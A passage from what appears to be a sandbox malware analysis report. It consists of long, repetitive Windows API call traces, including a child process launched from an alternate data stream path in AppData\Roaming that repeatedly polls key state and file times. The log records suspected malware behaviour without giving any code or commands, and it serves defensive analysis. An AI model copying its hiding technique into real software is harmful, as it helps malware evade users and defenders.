ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.983] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.984] GetFileType (hFile=0x1d0) returned 0x1 [0259.984] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.984] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.986] GetFileType (hFile=0x1d0) returned 0x1 [0259.986] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.986] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.998] GetFileType (hFile=0x1d0) returned 0x1 [0259.998] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.998] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.000] GetFileType (hFile=0x1d0) returned 0x3 [0260.001] GetFileType (hFile=0x1d0) returned 0x1 [0260.001] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.001] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.002] GetFileType (hFile=0x1d0) returned 0x1 [0260.002] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.002] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.003] GetFileType (hFile=0x1d0) returned 0x1 [0260.003] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.003] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.003] GetFileType (hFile=0x1d0) returned 0x3 [0260.004] GetFileType (hFile=0x1d0) returned 0x1 [0260.004] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.005] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.005] GetFileType (hFile=0x1d0) returned 0x1 [0260.005] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.005] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.006] GetFileType (hFile=0x1d0) returned 0x1 [0260.006] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.007] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.007] GetFileType (hFile=0x1d0) returned 0x1 [0260.007] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.007] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.007] GetFileType (hFile=0x1d0) returned 0x1 [0260.008] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.008] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.008] GetFileType (hFile=0x1d0) returned 0x1 [0260.008] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.008] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.009] GetFileType (hFile=0x1d0) returned 0x1 [0260.009] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.009] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.020] GetFileType (hFile=0x1d4) returned 0x1 [0260.020] NtQueryObject (in: Handle=0x1d4, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.020] MapViewOfFile (hFileMappingObject=0x1d4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0260.022] GetFileType (hFile=0x1d4) returned 0x1 [0260.023] NtQueryObject (in: Handle=0x1d4, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0260.023] MapViewOfFile (hFileMappingObject=0x1d4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 Process: id = "69" image_name = "j4ojat~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin" page_root = "0x71ebe000" os_pid = "0x720" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "68" os_parent_pid = "0x6e0" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 872 os_tid = 0x724 [0226.646] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" [0226.646] GetStockObject (i=168) returned 0x0 [0226.647] GetAsyncKeyState (vKey=58) returned 0 [0226.943] GetKBCodePage () returned 0x1b5 [0226.943] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.949] GetFocus () returned 0x0 [0226.949] GetAsyncKeyState (vKey=58) returned 0 [0226.949] GetKBCodePage () returned 0x1b5 [0226.949] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.949] GetFocus () returned 0x0 [0226.949] GetAsyncKeyState (vKey=58) returned 0 [0226.949] GetKBCodePage () returned 0x1b5 [0226.949] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.949] GetFocus () returned 0x0 [0226.949] GetAsyncKeyState (vKey=58) returned 0 [0226.949] GetKBCodePage () returned 0x1b5 [0226.949] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.949] GetFocus () returned 0x0 [0226.949] GetAsyncKeyState (vKey=58) returned 0 [0226.949] GetKBCodePage () returned 0x1b5 [0226.949] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.949] GetFocus () returned 0x0 [0226.949] GetAsyncKeyState (vKey=58) returned 0 [0226.949] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.950] GetKBCodePage () returned 0x1b5 [0226.950] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.950] GetFocus () returned 0x0 [0226.950] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.951] GetFocus () returned 0x0 [0226.951] GetAsyncKeyState (vKey=58) returned 0 [0226.951] GetKBCodePage () returned 0x1b5 [0226.951] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.952] GetKBCodePage () returned 0x1b5 [0226.952] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.952] GetFocus () returned 0x0 [0226.952] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: 